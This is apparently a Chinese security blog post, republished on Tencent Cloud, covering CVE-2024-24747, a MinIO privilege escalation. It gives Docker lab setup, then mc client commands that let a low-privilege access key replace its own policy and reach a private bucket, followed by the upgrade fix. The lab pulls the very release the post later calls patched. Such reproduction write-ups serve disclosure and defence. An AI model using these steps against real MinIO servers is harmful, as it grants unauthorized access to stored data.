前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-24747:MINIO权限提升漏洞

CVE-2024-24747:MINIO权限提升漏洞

作者头像
Timeline Sec
发布2024-04-11 20:09:09
1420
发布2024-04-11 20:09:09
举报
文章被收录于专栏:Timeline SecTimeline Sec

0x01 简介

MinIO 是一种高性能、Amason的S3分布式对象存储。专为大规模AI/ML、数据和数据库工作负载而构建,并且它是由软件定义的存储。

Minio 可以做为云存储的解决方案用来保存海量的图片,视频,文档。由于采用 Golang 实现,服务端可以工作在 Windows,Linux, OS X 和 FreeBSD 上。配置简单,基本是复制可执行程序,单行命令可以运行起来。

0x02 漏洞概述

Minio创建访问密钥时权限继承存在问题,当用户创建访问密钥时,会继承父密钥对s3:*和admin:*的操作权限,如果在访问密钥的权限中未明确拒绝admin权限,访问密钥则能够修改自身权限。攻击者可利用该漏洞提升权限,访问所有部署区域。

0x03 影响版本

Minio < RELEASE.2024-01-31T20-20-33Z

0x04 环境搭建

docker部署

linux通过apt默认安装docker

代码语言:javascript
复制
apt install docker.io    
apt install podman-docker

拉取minio镜像

代码语言:javascript
复制
docker pull minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
RELEASE.2024-01-31T20-20-33Z.fips: Pulling from minio/minio
ea29d36b883e: Pull complete 
0359d5a5b787: Pull complete 
4d3b519e3b96: Pull complete 
991cf94c1e6a: Pull complete 
5fc1cd481df4: Pull complete 
e5cfc0ab0589: Pull complete 
Digest: sha256:cae79732d3a0e12791fc003739127b219dcd528d088b771436f8173ead8d5356
Status: Downloaded newer image for minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
docker.io/minio/minio:RELEASE.2024-01-31T20-20-33Z.fips

创建docker容易挂在目录

代码语言:javascript
复制
mkdir -p /redteam/minio/config(存放配置文件)
mkdir -p /redteam/minio/data(上传文件的目录)

创建minio容器并运行

代码语言:javascript
复制
docker run \
-p 19000:9000 \
-p 9090:9090 \
--net=host \
--name minio \
-d --restart=always \
-e "MINIO_ACCESS_KEY=minioadmin" \
-e "MINIO_SECRET_KEY=minioadmin" \
-v /redteam/minio/data:/data \
-v /redteam/minio/config:/root/.minio \
 minio/minio server \
/data --console-address ":9090" -address ":19000"

命令

描述

-p 19000:9000 -p 9090:9090

这是端口映射,前一个是服务器的端口,后一个是客户端也就是api接口访问的端口地址

--name minio

这是给新创建的容器命名的选项,名字是 "minio"

--net=host

这是网络设置,表示容器将使用主机的网络栈,这样就不需要在容器内部配置网络

-d --restart=always

这是运行容器的其他选项,-d使容器在后台运行,--restart=always表示容器总是会在退出后自动重启

-e "MINIO_ACCESS_KEY=minioadmin"

用户名

-e "MINIO_SECRET_KEY=minioadmin"

密码

-v /opt/minio/data:/data

这意味着将宿主机上的 /opt/minio/data 目录挂载到容器内的 /data 目录

-v /opt/minio/config:/root/.minio

将宿主机上的 /opt/minio/config 目录挂载到容器内的 /root/.minio 目录

minio/minio server /data --console-address ":9090" -address ":19000"

这是容器内要运行的命令,启动一个名为 "minio" 的服务器,数据存储在 /data 目录下,服务器的控制台地址为 ":9090",服务地址为 ":19000"

\

换行

访问:http://127.0.0.1:9090/login

使用默认用户名密码登录:minioadmin/minioadmin

创建存储桶public和private

创建一个名为"YBPIq4HFF4ewdGhBgYN3"的访问密钥,并附加一下策略

代码语言:javascript
复制
{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Effect": "Allow",
   "Action": [
    "s3:*"
   ],
   "Resource": [
    "arn:aws:s3:::public",
    "arn:aws:s3:::public/*"
   ]
  }
 ]
}

0x05 漏洞复现

前提:已知低权限accesskey和secretkey

安装mc(minio client)客户端工具

代码语言:javascript
复制
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
mv mc /usr/local/bin/
mc --version

配置alias

代码语言:javascript
复制
┌──(root㉿kali)-[~/minio-client]
└─# mc alias set poc http://127.0.0.1:19000 accesskey secretkey 
Added `poc` successfully.

显示只有public权限

代码语言:javascript
复制
┌──(root㉿kali)-[~/minio-client]
└─# mc ls poc     
[2024-03-17 21:47:49 EDT]     0B public/

创建一个空的json文件并替换poblicy,空代表所有权限

代码语言:javascript
复制
mc admin user svcacct edit --policy ./full-access-policy.json poc01 accesskey secretkey

查看权限

代码语言:javascript
复制
# mc ls poc01
[2024-03-17 21:47:59 EDT]     0B private/
[2024-03-17 21:47:49 EDT]     0B public/

0x06 修复方式

将minio升级至 RELEASE.2024-01-31T20-20-33Z 及以上版本。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档